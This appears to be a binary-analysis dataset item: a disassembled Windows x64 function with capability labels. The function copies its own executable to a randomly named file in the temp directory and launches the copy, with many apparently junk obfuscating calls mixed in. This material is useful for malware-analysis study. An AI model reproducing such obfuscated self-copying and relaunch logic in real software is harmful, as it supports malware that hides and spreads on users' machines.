Function at 0x140003e80
Capabilities:
Copy file
Create process on windows
Get common file path

Disassembly:
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x458
movaps xmmword [rsp + 0x440], xmm6
mov ebp, ecx
mov qword [rsp + 0x20], 0x231fd515
mov ecx, 8
mov edx, 0xae
mov r8d, 0x2bda6794
mov r9d, 0xe2
call fcn.140002ae0
mov rsi, rax
mov ecx, 0x4f0291b5
mov edx, 0xd5f756
call fcn.140002ae0
mov rdi, rax
mov edx, 0x16c273bb
mov r8d, 0x31da7c79
mov rcx, rsi
call fcn.140002ae0
mov qword [rsp + 0x20], rax
lea rcx, [0x140006006]
lea rdx, [rsp + 0x1c0]
mov r8, rax
mov r9, rdi
call fcn.140002af0
mov rsi, rax
mov ecx, 0x1d
mov edx, 0xe4
mov r8, rax
mov r9, rax
call fcn.140002ae0
mov rdi, rax
mov ecx, 0x239dfb77
mov rdx, rsi
mov r8, rsi
mov r9, rsi
call fcn.140002ae0
mov rbx, rax
movabs rcx, 0x522939597f36c10d
mov rdx, rsi
mov r8, rsi
call fcn.140002ae0
mov qword [rsp + 0x20], rax
lea rcx, [0x14000610c]
lea rdx, [rsp + 0x200]
mov r8, rdi
mov r9, rbx
call fcn.140002af0
xorps xmm6, xmm6
movaps xmmword [rsp + 0x140], xmm6
movaps xmmword [rsp + 0x130], xmm6
movaps xmmword [rsp + 0x120], xmm6
movaps xmmword [rsp + 0x110], xmm6
movaps xmmword [rsp + 0x100], xmm6
movaps xmmword [rsp + 0xf0], xmm6
movaps xmmword [rsp + 0xe0], xmm6
movaps xmmword [rsp + 0xd0], xmm6
movaps xmmword [rsp + 0xc0], xmm6
movaps xmmword [rsp + 0xb0], xmm6
movaps xmmword [rsp + 0xa0], xmm6
movaps xmmword [rsp + 0x90], xmm6
movaps xmmword [rsp + 0x80], xmm6
movaps xmmword [rsp + 0x70], xmm6
movaps xmmword [rsp + 0x60], xmm6
movaps xmmword [rsp + 0x50], xmm6
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rdi, rax
mov ecx, 0x100
mov edx, 0xaf
mov r8, rsi
call fcn.140002ae0
lea rdx, [rsp + 0x50]
mov rcx, rdi
mov r8d, eax
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov ecx, 0x100
mov rdx, rsi
mov r8, rsi
call fcn.140002ae0
lea rdx, [rsp + 0x240]
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
test bpl, bpl
je 0x140004215
mov rbx, qword [sym.imp.KERNEL32.dll_GetTickCount]
call rbx
mov esi, eax
mov dword [rsp + 0x20], eax
mov ecx, 7
mov r8d, 0x94
mov edx, eax
mov r9d, eax
call fcn.140002ae0
mov rcx, rax
mov eax, esi
xor edx, edx
div ecx
mov edi, eax
mov ecx, 0x3e8
mov edx, 0x9b
mov r8d, 0xad1cf0
call fcn.140002ae0
mov rcx, rax
mov eax, edi
xor edx, edx
div ecx
mov edi, edx
mov ecx, 1
mov r8d, 0x42
mov edx, esi
call fcn.140002ae0
add edi, eax
call rbx
mov ebx, eax
mov ecx, 3
call fcn.140002ae0
mov rcx, rax
mov eax, ebx
xor edx, edx
div ecx
mov ebx, eax
mov ecx, 0x64
mov edx, esi
call fcn.140002ae0
mov rcx, rax
mov eax, ebx
xor edx, edx
div ecx
mov ebx, edx
mov ecx, 1
mov edx, 0x40
call fcn.140002ae0
add ebx, eax
mov r9d, 0x2a
mov rcx, rbx
mov edx, esi
mov r8d, esi
call fcn.140002ae0
mov rbx, rax
mov rcx, rdi
mov edx, esi
mov r8d, esi
mov r9d, esi
call fcn.140002ae0
mov dword [rsp + 0x20], eax
lea rdi, [rsp + 0x340]
lea rdx, [rsp + 0x200]
lea r8, [rsp + 0x240]
mov rcx, rdi
mov r9d, ebx
call qword [sym.imp.USER32.dll_wsprintfA]
mov dword [rsp + 0x28], esi
mov dword [rsp + 0x20], esi
xor ecx, ecx
mov edx, esi
mov r8d, esi
mov r9d, esi
call fcn.140002ae0
lea rcx, [rsp + 0x50]
mov rdx, rdi
mov r8d, eax
call qword [sym.imp.KERNEL32.dll_CopyFileA]
movaps xmmword [rsp + 0x1a0], xmm6
movaps xmmword [rsp + 0x190], xmm6
movaps xmmword [rsp + 0x180], xmm6
movaps xmmword [rsp + 0x170], xmm6
movaps xmmword [rsp + 0x160], xmm6
movaps xmmword [rsp + 0x150], xmm6
mov qword [rsp + 0x1b0], 0
mov ecx, 0x68
mov edx, 0x8d
mov r8d, 0xdc2a89
mov r9d, 0x2c
call fcn.140002ae0
mov dword [rsp + 0x150], eax
mov qword [rsp + 0x160], 0
xor ecx, ecx
mov edx, esi
mov r8d, esi
call fcn.140002ae0
mov ecx, eax
mov r8d, 0xd9
mov edx, esi
call fcn.140002ae0
lea rcx, [rsp + 0x1e8]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0x150]
mov qword [rsp + 0x40], rcx
movups xmmword [rsp + 0x30], xmm6
mov dword [rsp + 0x28], eax
mov dword [rsp + 0x20], eax
lea rdx, [rsp + 0x1c0]
mov rcx, rdi
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
jmp 0x140004284
movaps xmm0, xmmword [rsp + 0xc0]
movups xmmword [0x1400071bc], xmm0
movaps xmm0, xmmword [rsp + 0xb0]
movups xmmword [0x1400071ac], xmm0
movaps xmm0, xmmword [rsp + 0xa0]
movups xmmword [0x14000719c], xmm0
movaps xmm0, xmmword [rsp + 0x90]
movups xmmword [0x14000718c], xmm0
movaps xmm0, xmmword [rsp + 0x50]
movaps xmm1, xmmword [rsp + 0x60]
movaps xmm2, xmmword [rsp + 0x70]
movaps xmm3, xmmword [rsp + 0x80]
movups xmmword [0x14000717c], xmm3
movups xmmword [0x14000716c], xmm2
movups xmmword [0x14000715c], xmm1
movups xmmword [0x14000714c], xmm0
movaps xmm6, xmmword [rsp + 0x440]
add rsp, 0x458
pop rbx
pop rbp
pop rdi
pop rsi
ret